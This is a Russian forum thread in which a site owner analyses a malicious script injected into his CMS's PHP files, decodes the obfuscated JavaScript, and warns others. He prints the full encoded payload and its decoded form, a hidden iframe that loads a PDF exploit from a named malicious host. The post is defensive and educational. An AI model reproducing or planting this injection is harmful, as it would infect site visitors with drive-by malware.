iframe инъекция

[slva2000]

Вообщем обнаружил несколько заражённых php файлов на своём сайте (DLE). Принцип таков:
в конец кода <php > добавляется следующее:

<br><br><script language=javascript>var stringer='%3c'+'%73'+'%63'+'%72'+'%69'+'%70'+'%74'+'%20'+'%6c'+'%61'+'%6e'+'%67'+'%75'+'%61'+'%67'+'%65'+'%3d'+'%27'+'%6a'+'%61'+'%76'+'%61'+'%73'+'%63'+'%72'+'%69'+'%70'+'%74'+'%27'+'%3e'+'%64'+'%6f'+'%63'+'%75'+'%6d'+'%65'+'%6e'+'%74'+'%2e'+'%77'+'%72'+'%69'+'%74'+'%65'+'%28'+'%75'+'%6e'+'%65'+'%73'+'%63'+'%61'+'%70'+'%65'+'%28'+'%27'+'%25'+'%33'+'%63'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%30'+'%25'+'%37'+'%34'+'%25'+'%32'+'%30'+'%25'+'%36'+'%63'+'%25'+'%36'+'%31'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%35'+'%25'+'%36'+'%31'+'%25'+'%36'+'%37'+'%25'+'%36'+'%35'+'%25'+'%33'+'%64'+'%25'+'%32'+'%37'+'%25'+'%36'+'%61'+'%25'+'%36'+'%31'+'%25'+'%37'+'%36'+'%25'+'%36'+'%31'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%30'+'%25'+'%37'+'%34'+'%25'+'%32'+'%37'+'%25'+'%33'+'%65'+'%25'+'%36'+'%36'+'%25'+'%37'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%33'+'%25'+'%37'+'%34'+'%25'+'%36'+'%39'+'%25'+'%36'+'%66'+'%25'+'%36'+'%65'+'%25'+'%32'+'%30'+'%25'+'%34'+'%36'+'%25'+'%34'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%39'+'%25'+'%37'+'%62'+'%25'+'%37'+'%36'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%32'+'%30'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%33'+'%31'+'%25'+'%33'+'%64'+'%25'+'%37'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%35'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%36'+'%31'+'%25'+'%37'+'%30'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%37'+'%33'+'%25'+'%37'+'%35'+'%25'+'%36'+'%32'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%38'+'%25'+'%33'+'%30'+'%25'+'%32'+'%63'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%36'+'%63'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%34'+'%25'+'%36'+'%38'+'%25'+'%32'+'%64'+'%25'+'%33'+'%31'+'%25'+'%32'+'%39'+'%25'+'%32'+'%39'+'%25'+'%33'+'%62'+'%25'+'%37'+'%36'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%32'+'%30'+'%25'+'%36'+'%66'+'%25'+'%37'+'%35'+'%25'+'%37'+'%34'+'%25'+'%33'+'%64'+'%25'+'%32'+'%37'+'%25'+'%32'+'%37'+'%25'+'%33'+'%62'+'%25'+'%36'+'%36'+'%25'+'%36'+'%66'+'%25'+'%37'+'%32'+'%25'+'%32'+'%38'+'%25'+'%36'+'%61'+'%25'+'%33'+'%64'+'%25'+'%33'+'%30'+'%25'+'%33'+'%62'+'%25'+'%36'+'%61'+'%25'+'%33'+'%63'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%33'+'%31'+'%25'+'%32'+'%65'+'%25'+'%36'+'%63'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%34'+'%25'+'%36'+'%38'+'%25'+'%33'+'%62'+'%25'+'%36'+'%61'+'%25'+'%32'+'%62'+'%25'+'%32'+'%62'+'%25'+'%32'+'%39'+'%25'+'%36'+'%66'+'%25'+'%37'+'%35'+'%25'+'%37'+'%34'+'%25'+'%32'+'%62'+'%25'+'%33'+'%64'+'%25'+'%35'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%32'+'%65'+'%25'+'%36'+'%36'+'%25'+'%37'+'%32'+'%25'+'%36'+'%66'+'%25'+'%36'+'%64'+'%25'+'%34'+'%33'+'%25'+'%36'+'%38'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%34'+'%33'+'%25'+'%36'+'%66'+'%25'+'%36'+'%34'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%33'+'%31'+'%25'+'%32'+'%65'+'%25'+'%36'+'%33'+'%25'+'%36'+'%38'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%34'+'%33'+'%25'+'%36'+'%66'+'%25'+'%36'+'%34'+'%25'+'%36'+'%35'+'%25'+'%34'+'%31'+'%25'+'%37'+'%34'+'%25'+'%32'+'%38'+'%25'+'%36'+'%61'+'%25'+'%32'+'%39'+'%25'+'%32'+'%64'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%37'+'%33'+'%25'+'%37'+'%35'+'%25'+'%36'+'%32'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%36'+'%63'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%34'+'%25'+'%36'+'%38'+'%25'+'%32'+'%64'+'%25'+'%33'+'%31'+'%25'+'%32'+'%63'+'%25'+'%33'+'%31'+'%25'+'%32'+'%39'+'%25'+'%32'+'%39'+'%25'+'%33'+'%62'+'%25'+'%36'+'%34'+'%25'+'%36'+'%66'+'%25'+'%36'+'%33'+'%25'+'%37'+'%35'+'%25'+'%36'+'%64'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%37'+'%34'+'%25'+'%32'+'%65'+'%25'+'%37'+'%37'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%34'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%35'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%36'+'%31'+'%25'+'%37'+'%30'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%36'+'%66'+'%25'+'%37'+'%35'+'%25'+'%37'+'%34'+'%25'+'%32'+'%39'+'%25'+'%32'+'%39'+'%25'+'%33'+'%62'+'%25'+'%37'+'%64'+'%25'+'%33'+'%63'+'%25'+'%32'+'%66'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%30'+'%25'+'%37'+'%34'+'%25'+'%33'+'%65'+'%27'+'%29'+'%29'+'%3b'+'%3c'+'%2f'+'%73'+'%63'+'%72'+'%69'+'%70'+'%74'+'%3e';for(i=0;i<stringer.length+2;i=i+3)document.write(unescape(stringer.substr(i,3)));FE('%264Dtdsjqu%264F%261Bepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00tvqbljnboblb/sv0u20hp/qiq%264Gtje%264E22%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%2631%264C%261B%264D0tdsjqu%264F1')</script>

понятно что, это эскейп последовательности. Расшифровав его, получаем вот что:

<script>
document.write("<iframe src='http://supakimanaka.ru/t1/go.php?sid=11' width=1 height=1 frameborder=0></iframe>");
</script>

Кто не понимает, поясню: при каждой загрузке страницы загружается в фрейме страница с сайта:
"http://supakimanaka.ru/t1/go.php?sid=11". Там происходит редирект на
"http://supakimanaka.ru/s1/index.php?s=1"
В результате, проанализировав заголовки, возвращаемые этой страницей, стало ясно:
Content-Disposition: inline; filename=62.pdf
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/pdf
т.о. если у вас установлен Акробат, то он подгружает этот небольшой pdf документ, который содержит вредоносный код. Имя файла, полагаю генерится на лету, и его контент тоже.
Антивирь не видел. (nod32)
-------
Удалось таки выдернуть оттуда исполняемый файл. DrWeb ничего не нашёл. Каспер - нашёл: Exploit.Win32.Pidief.cjv.
ЗЫ: не пытайтесь перейти по адресам:
"http://supakimanaka.ru/t1/go.php?sid=11"
"http://supakimanaka.ru/s1/index.php?s=1"
подхватите похуже свинного грипа
ЗЫЗЫ: самое хреновое здесь то, что о supakimanaka.ru гугл не знает... Так что держитесь, организаторы, supakimanaka.ru...

 

[tostrss]

Извини, а к чему ты это отписал? Вроде как сам нашел все, разобрался, расшифровал, удалил. Типо предупредить всех или что?

 

[slva2000]

Цель с которой я написал может быть разной для каждого.

Могу предложить несколько вариантов:
1. Разоблачение "этаких" злоумышлеников
2. Повод проверить свои сайты:
в просмотре "Исходного кода страници" будет виден это скрипт (в начале или в конце страницы, как я привёл пример №1).
3. Для расширения кругозора программистов, тех, которые не в курсе.